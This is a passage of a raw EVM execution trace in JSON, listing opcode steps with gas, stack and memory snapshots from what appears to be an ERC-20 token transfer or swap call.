0000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13329,"op":"DUP1","gas":79729,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13330,"op":"DUP1","gas":79726,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13331,"op":"PUSH1","gas":79723,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13333,"op":"ADD","gas":79720,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x2e4","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13334,"op":"SWAP1","gas":79717,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x2e4","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13335,"op":"MLOAD","gas":79714,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x304","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13336,"op":"DUP2","gas":79711,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x304","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13337,"op":"ADD","gas":79708,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x304","0x20","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13338,"op":"SWAP1","gas":79705,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x304","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13339,"op":"PUSH2","gas":79702,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x324","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13342,"op":"SWAP2","gas":79699,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x324","0x304","0x3424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13343,"op":"SWAP1","gas":79696,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x304","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13344,"op":"PUSH2","gas":79693,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a